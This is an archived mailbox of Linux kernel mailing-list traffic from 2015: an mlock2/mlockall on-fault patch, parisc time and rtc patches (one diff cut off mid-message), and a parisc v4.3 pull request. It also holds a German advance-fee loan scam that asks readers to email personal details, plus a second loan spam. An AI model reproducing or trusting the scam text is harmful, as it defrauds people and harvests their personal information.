@@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -577,7 +578,7 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 		prev = vma;
 
 	for (nstart = start ; ; ) {
-		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
+		vm_flags_t newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
 
 		newflags |= flags;
 
@@ -646,10 +647,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (flags)
+	vm_flags_t vm_flags = VM_LOCKED;
+
+	if (flags & ~MLOCK_ONFAULT)
 		return -EINVAL;
 
-	return do_mlock(start, len, VM_LOCKED);
+	if (flags & MLOCK_ONFAULT)
+		vm_flags |= VM_LOCKONFAULT;
+
+	return do_mlock(start, len, vm_flags);
 }
 
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
@@ -666,24 +672,43 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 	return ret;
 }
 
+/*
+ * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
+ * and translate into the appropriate modifications to mm->def_flags and/or the
+ * flags for all current VMAs.
+ *
+ * There are a couple of subtleties with this.  If mlockall() is called multiple
+ * times with different flags, the values do not necessarily stack.  If mlockall
+ * is called once including the MCL_FUTURE flag and then a second time without
+ * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
+ */
 static int apply_mlockall_flags(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add = 0;
 
-	if (flags & MCL_FUTURE)
+	current->mm->def_flags &= VM_LOCKED_CLEAR_MASK;
+	if (flags & MCL_FUTURE) {
 		current->mm->def_flags |= VM_LOCKED;
-	else
-		current->mm->def_flags &= ~VM_LOCKED;
 
-	if (flags == MCL_FUTURE)
-		goto out;
+		if (flags & MCL_ONFAULT)
+			current->mm->def_flags |= VM_LOCKONFAULT;
+
+		if (!(flags & MCL_CURRENT))
+			goto out;
+	}
+
+	if (flags & MCL_CURRENT) {
+		to_add |= VM_LOCKED;
+		if (flags & MCL_ONFAULT)
+			to_add |= VM_LOCKONFAULT;
+	}
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -698,7 +723,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    flags == MCL_ONFAULT)
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop CONFIG_SMP around update_cr16_clocksource()
Date: Tue, 8 Sep 2015 17:49:31 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20150908154931.GA31927@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441727399 12480 80.91.229.3 (8 Sep 2015 15:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 15:49:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 17:49:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZL9U-0002AN-VV
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 17:49:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755119AbbIHPtl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2015 11:49:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57322 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755103AbbIHPtj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2015 11:49:39 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx103) with ESMTPSA (Nemesis) id 0MGB7j-1ZT4Ib2vp9-00FG6z; Tue, 08 Sep
 2015 17:49:34 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:BiGmgNV3EZgzVNh5qVtNwFXMQWkYARLxUJEz1w1YOQQCTNdntyF
 ZGOl6UUYLlXll56jvZLb7b2L7cbFaSCxi6sPilzzcgJkP4rlM50vITMJNw6QBzjllWGJR7q
 nM5suj/hGhuTATmg3CDTCiC4LjlPUcqrDqXraGZ11hBLUuKpoxt/hkuO5UTM7yIFHJmS0uI
 wpB3fEev+et05Qi++KIng==
X-UI-Out-Filterresults: notjunk:1;V01:K0:OuHLKn+Bmyw=:PyOsqS6PItyzLjxMyeOFkc
 Fov7DRUw/Kwzqu4DPIApyZ3Ix6KkzbsIBvVfpynKdg3cHcJWPVSFSZDrW1GXWoeOzFZAnpXiT
 IC5yreEWYbJ4ZL2wmcGqtRtMsXlE+MUtfg1qEgjM+aPkgNPxY+zCgePSjfI7ntHapzuIYeHfw
 Z5cbDW4tw3DB3zwrY8RdqLh87AZNHS9Tkb+b068Bo9kXu3eh/AepOKZsAzYFMmjIOA+hxc4FN
 f/98X6tNA940NLcTB64GXoaQTKjIF3mzNUsGz2/8hnHvHzTf9GFdQKAYSz97joIA/IU/HhMBS
 FE2YBIbeWgg9WTjPwDf/5GXeHxcdXeCvlN/+DKW/+r4OfxisedQpk1l/5eQyAJDTxqtkPpCyM
 x4DZkPh3w72oHSTGNG+YrLHWH7J6syTkwkJUEpIeN304NFEe0EutjyyHmlnxSKXLeevPpTO6J
 HDjVBjgnH0aQSI0ZS/nUEfxJVkuQKQYWbFmj+5YMTaig5xQKwQDV2wJ0q1pMnMPPTu27ZUpeF
 YC+GbQaGwjHTxmY4um+3hR+acUa0RTqMd4lNcyIsgIepObV0nZrC+HqrPt8uh3WyCGStpUmrh
 tWYnH/5FRlqTDHAWeYDQhc1BnApy0Sndj4M6fO5A2ilkeB+2LOiUMToOByYrWeIQhsIJWO29d
 tK2yAsgT34JsGS/mNbVYjasQmmTvXByTweQbiQz4LLvNp90zYZDzzyABE5azCrCkjCjVSj6sz
 cXqkG+U8k+zOHt3T
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26023>

No need to use CONFIG_SMP around update_cr16_clocksource(). It checks for
num_online_cpus() beeing greater than 1, which is always 1 in UP builds.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..400acac 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -202,7 +202,6 @@ static struct clocksource clocksource_cr16 = {
 	.flags			= CLOCK_SOURCE_IS_CONTINUOUS,
 };
 
-#ifdef CONFIG_SMP
 int update_cr16_clocksource(void)
 {
 	/* since the cr16 cycle counters are not synchronized across CPUs,
@@ -214,12 +213,6 @@ int update_cr16_clocksource(void)
 
 	return 0;
 }
-#else
-int update_cr16_clocksource(void)
-{
-	return 0; /* no change */
-}
-#endif /*CONFIG_SMP*/
 
 void __init start_cpu_itimer(void)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use platform_device_register_simple("rtc-generic")
Date: Tue, 8 Sep 2015 17:50:03 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20150908155003.GB31927@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441727423 13088 80.91.229.3 (8 Sep 2015 15:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 15:50:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 17:50:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZL9y-0002AN-Hq
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 17:50:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754858AbbIHPuJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2015 11:50:09 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:56441 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755139AbbIHPuI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2015 11:50:08 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx003) with ESMTPSA (Nemesis) id 0MBFUT-1ZPCfY3aZp-00AFwl; Tue, 08 Sep
 2015 17:50:05 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:P/pPi4YQlGx6Me3htgGi+9ICw93NAXyzxlAx2GQwUnErPtSs0uf
 bUav3Fqix2Vyik5LgBFF5umVVwF/Py87iswvQMKtEV1eqfAnU6WuKBNJSW2EONu4Ev/1Qij
 q9FM6ivjyy0M7ozBdK77fkuSj1ruijbaGh2CxdK+hYdkUX8HWiVAr/MGXbtIrQ5db5ZcyFI
 ufLASJD02QVqUl0Pu3rDQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:v5Duz47D9Dk=:pNRx6FkeYYHEQeTcE+q1nn
 OVUsJjLaYTKNB9dK5GUCsaMkgdPqDae9+ma7Ioq8ykYX+mbxggfb0u+pOlfeeHMrhhGI+AUc1
 +a7iIQTWab84saSdzeQdD2RMoz/u608r661FCVK2SbeBCPJiNyG72QaLd+JglZ3QK3q9Nf0F7
 63++7dWdttVDdaxs/QhbXCfyqA6H4T8KwvUsgWe8HRLkCBuxwPLvt+mX8aJC5bCoOddg6z+OE
 0ltkvMs4OAZFcVOJm3Pon8eSahj66tRmMde93RV4odZqY66OuqVwaf9t4iMIJbXOxfi0z9g1K
 7eE6hzLV6uvNgf6ng9PuoNXP+9FS/TiH1G8cvkGcYEZawfnQ9TVWzntjsKlQHZRRMEcE3hE0B
 Us81YEb3XiqFuceKhEIBzv4vtFVLFSZzg/Y/gMQxn/UdPzlLNsvqbWfOD2cD4QK3WRPSWMKMk
 19nx8EfUoA10q7nJ7PE6KLNVAwbcGC50feXU9+3HxHFKo9O1vFsMgFIEIoEPZIB4ntGc57nBs
 Omtr3Dvb9a0NTWh377g1nGHLqLfWPvgUfmPQsy4bOCqINOLZM2fmD4BO4CjHIYolI8jLqoFk4
 vx1mHKZbZ9VtEfdWoymosAea/b3UTSpy78xOAZmZl6vTevX4NOl0MXUfQgP2ZQqL/P3rBLn6N
 GifJ/ocK/VJpi9PoCcuik9rgWDYcPgPUJ916k99WYeNcH5xpDfHzZhUsLTGz24jRy7p9Yo1vj
 fQQUI+kGJyzaHdwM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26024>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..400acac 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -231,20 +224,14 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
-static struct platform_device rtc_generic_dev = {
-	.name = "rtc-generic",
-	.id = -1,
-};

From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 8 Sep 2015 21:20:32 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20150908192032.GA3171@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441740069 1326 80.91.229.3 (8 Sep 2015 19:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2015 19:21:09 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 21:20:59 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZORh-0001Ko-5h
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Sep 2015 21:20:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752579AbbIHTUn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2015 15:20:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:56169 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752536AbbIHTUl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2015 15:20:41 -0400
Original-Received: from ls3530.box ([92.203.29.142]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LzXTy-1YdnxW1x0E-014khW; Tue, 08 Sep 2015 21:20:36
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:RqR2BozxFruOZxKj2/UF+AE9xpE27LqJOYCGLW/GQ52WtiAbol1
 UgrG2Qy1PLgjbBirdi3nF2dACF6fq4nZqPcsuhgofBgkW/728m4SjnrlegSkTFQ0BIzUW4u
 Rj6/+Su39lTylM3dQU8R919/4rrMB48m5QZswymLd/+ywfniOZBs0jdIdT7fQIvgRZEF/50
 pqVa94qOXkkytKsl7eIiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fvk0ZPOTVFE=:sTz0U4Xr9o5o1viC4fPans
 5ciAx4YqSlQHVhtmty7R2CJxQrEYb2Wb2ZIucZwt++z+6nY5WSJEgMsS4Jnfn7kuwjk/gYhPv
 9/ykBeXiEsIzvDX+w3MGXvrWGvameX9rmCggvZiI2o7FVfMW1bWAFI5xa6AVRqWPISAUeDPdX
 Pd0wIVe+pRnbtjFLViOeQUBvYCecpGfvpjJutvoTSPUZP06/oEKCzUhYboGyW57TWxQl+HVLC
 fxHVmqbNldyCFcJkHDTtQGI68x7114p7cxiijZsiQ9vOnKoJgZlDQuKxxLU/uuFwg+nL+0fsZ
 4gCMS1+F+gMe33J4BxPT4al/JPJHaW/JHvashrLKIDSaEY+E12t8NeNF8sYSwMjhNf/b0qMmZ
 vBcEnitj8hJiKKvwH+V93gaetV/zJj9PF2Ssc5KrxEqvqpOetQgC/AXZPVmqYvoQ7jYQrx9oy
 QL2xoEAh+h23yRxjdrejTAD7tlEomee50QvTkhCDEQZSxsuCEyRFknv1Po0sjmI4dHulI3UtC
 lJLn0budI6kADulIUPqNC1hOI2ITNi9xDXkcYqjiny9waJESMK8JdKSQIzSB7RsOdzLSFepGV
 PZIrcKBQiXTg37XBEnsBJOhYnsboZsF5+CUTlAFjS/2HE1n1v5z4zsObvqZT6CocpSSXUdQ1N
 /29iwI9NaFDGkSFYj4FQ831cNgjjerPrnkH50Ee8jG1AyFk9qlqqARQuT/vWe6+ehi55lfHUs
 yHeujadgkGreh73h
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26025 gmane.linux.kernel:2034505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26025>

Hi Linus,

please pull the latest changes for the parisc architecture for kernel v4.3 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.3-1

The most important changes in this patchset are:
- re-enable 64bit PCI bus addresses which were temporarily disabled for PA-RISC
  in kernel 4.2
- fix the 64bit CAS operation in the LWS path which now enables us to enable the
  64bit gcc atomic builtins even on 32bit userspace with 64bit kernel
- fix a long-standing bug which sometimes crashed kernel at bootup while serial
  interrupt wasn't registered yet

Thanks,
Helge

----------------------------------------------------------------
Guenter Roeck (1):
      parisc: Define ioremap_uc and ioremap_wc

Helge Deller (5):
      PCI,parisc: Enable 64-bit bus addresses on PA-RISC
      parisc: Additionally check for in_atomic() in page fault handler
      parisc: Filter out spurious interrupts in PA-RISC irq handler
      parisc: Drop CONFIG_SMP around update_cr16_clocksource()
      parisc: Use platform_device_register_simple("rtc-generic")

John David Anglin (1):
      parisc: Use double word condition in 64bit CAS operation

 arch/parisc/include/asm/io.h |  2 ++
 arch/parisc/kernel/irq.c     |  9 +++++++--
 arch/parisc/kernel/syscall.S |  2 +-
 arch/parisc/kernel/time.c    | 21 ++++-----------------
 arch/parisc/mm/fault.c       |  2 +-
 drivers/parisc/lba_pci.c     |  7 +++++--
 drivers/pci/Kconfig          |  2 +-
 7 files changed, 21 insertions(+), 24 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FastEko Finance <joey@imap.hexon.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Guten Tag
Date: Wed, 09 Sep 2015 02:33:40 -0700
Organization: FastEko Financial Company
Lines: 60
Approved: news@gmane.org
Message-ID: <6880d96f5bd9ac4d9560900935dfcdb0@imap.hexon.cx>
Reply-To: <fastekofinance@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1441794846 17361 80.91.229.3 (9 Sep 2015 10:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2015 10:34:06 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 12:33:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZchP-0005FA-Kn
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Sep 2015 12:33:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752907AbbIIKdt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2015 06:33:49 -0400
Original-Received: from mulgore.hexon-is.nl ([82.94.237.14]:34944 "EHLO
	mulgore.hexon-is.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752281AbbIIKds (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2015 06:33:48 -0400
X-Greylist: delayed 3121 seconds by postgrey-1.27 at vger.kernel.org; Wed, 09 Sep 2015 06:33:48 EDT
Original-Received: from webmail.hexon.cx (ashenvale.hexon-is.nl [82.94.240.17])
	(authenticated bits=0)
	by mulgore.hexon-is.nl (8.14.4/8.14.3) with ESMTP id t899XeXI011116;
	Wed, 9 Sep 2015 11:33:40 +0200
Mail-Reply-To: <fastekofinance@gmail.com>
X-Sender: joey@imap.hexon.cx
User-Agent: Roundcube Webmail/0.7.1
X-Hexon-MailScanner-ID: t899XeXI011116
X-Hexon-MailScanner: Found to be clean
X-Hexon-MailScanner-From: joey@imap.hexon.cx
X-Hexon-MailScanner-Watermark: 1442396028.10279@Trmy2eMc/cQZMtuiY/YrCA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26026>

Ich bin Thomas Walter, die vollziehende Mittel aus einem gut erkannt=20
legitimen Darlehensgeberin als FastEko Finance bekannt. im Vereinigten=20
K=C3=B6nigreich befindet. Gro=C3=9F wir Geld leihen f=C3=BCr Privatpers=
onen und=20
Unternehmen, die Hilfe brauchen, finanziell. Haben Sie schlechte Kredit=
=20
haben, oder Sie brauchen Geld, um Ihre Rechnungen zu bezahlen sind? Wir=
=20
nutzen dieses Medium, um Ihnen mitzuteilen, dass wir Sie mit jeder Form=
=20
von Darlehen Sie Hilfe ben=C3=B6tigen, beispielsweise Refinanzierung,=20
Schuldenkonsolidierung Darlehen, pers=C3=B6nliche Kredite, Darlehen und=
=20
internationalen Business-Darlehen. Wir freuen uns, Ihnen ein Darlehen s=
o=20
g=C3=BCnstig wie dem Zinssatz von 4% bieten.

Unsere Mission ist es, einen Service f=C3=BCr unsere Kunden, die schnel=
l,=20
freundlich und stressfrei ist. In der Regel, wenn wir alle Ihre=20
Informationen es dauert nur eine Stunde, um Finanz Zustimmung=20
vereinbaren.

Wir werden Vorkehrungen mit Ihnen zu machen (einmal ein Darlehen=20
genehmigt worden ist), so dass wir Ihre Kreditfonds, Sie sicher zu=20
bekommen.

Wenn Sie interessiert sind, f=C3=BCllen Sie bitte das Darlehen=20
Antragsformular und R=C3=BCckkehr so =E2=80=8B=E2=80=8Bbald wie m=C3=B6=
glich mit Ihrer=20
pers=C3=B6nlichen Information.

Voller Name:
Geschlecht:
Land:
Adresse:
Ben=C3=B6tigte Menge:
Dauer:
Zweck:
Tel / PLZ:
Englisch sprechen?

Bitte kontaktieren Sie uns jetzt mit der oben geforderten Informationen=
=20
ist mit dieser E-Mail: fastekofinance@gmail.com

=C2=A0Wir m=C3=B6chten Sie warten auf die gef=C3=BCllten Darlehen Antra=
gsformular,=20
damit wir die Berechnung zu tun und starten Sie die Kreditbearbeitung=20
zur Genehmigung vor.

Gr=C3=BC=C3=9Fe,
Thomas Walter
=46astEko Finanzen
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guaranteed@vger.kernel.org, Loan@vger.kernel.org
Newsgroups: gmane.linux.ports.parisc
Subject: Contact Us For Unsecured Guaranteed Loans Today!!!?
Date: Wed, 9 Sep 2015 17:49:55 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <DM3PR20MB0524D6AEC1AD726F4D4FEB4FB8510@DM3PR20MB0524.namprd20.prod.outlook.com>
Reply-To: <guarloan01@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1441846311 25522 80.91.229.3 (10 Sep 2015 00:51:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2015 00:51:51 +0000 (UTC)
To: To@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 10 02:51:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZq5S-0006iE-6w
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Sep 2015 02:51:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753283AbbIJAvh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2015 20:51:37 -0400
Original-Received: from mail-bn1bhn0247.outbound.protection.outlook.com ([157.56.111.247]:7154
	"EHLO na01-bn1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753238AbbIJAvg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2015 20:51:36 -0400
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; 
Original-Received: from [100.64.95.31] (116.203.73.124) by
 DM3PR20MB0524.namprd20.prod.outlook.com (10.164.249.152) with Microsoft SMTP
 Server (TLS) id 15.1.262.15; Thu, 10 Sep 2015 00:50:56 +0000
Content-Description: Mail message body
X-Originating-IP: [116.203.73.124]
X-ClientProxiedBy: SIXPR04CA0055.apcprd04.prod.outlook.com (25.162.171.45) To
 DM3PR20MB0524.namprd20.prod.outlook.com (25.164.249.152)
X-Microsoft-Exchange-Diagnostics: 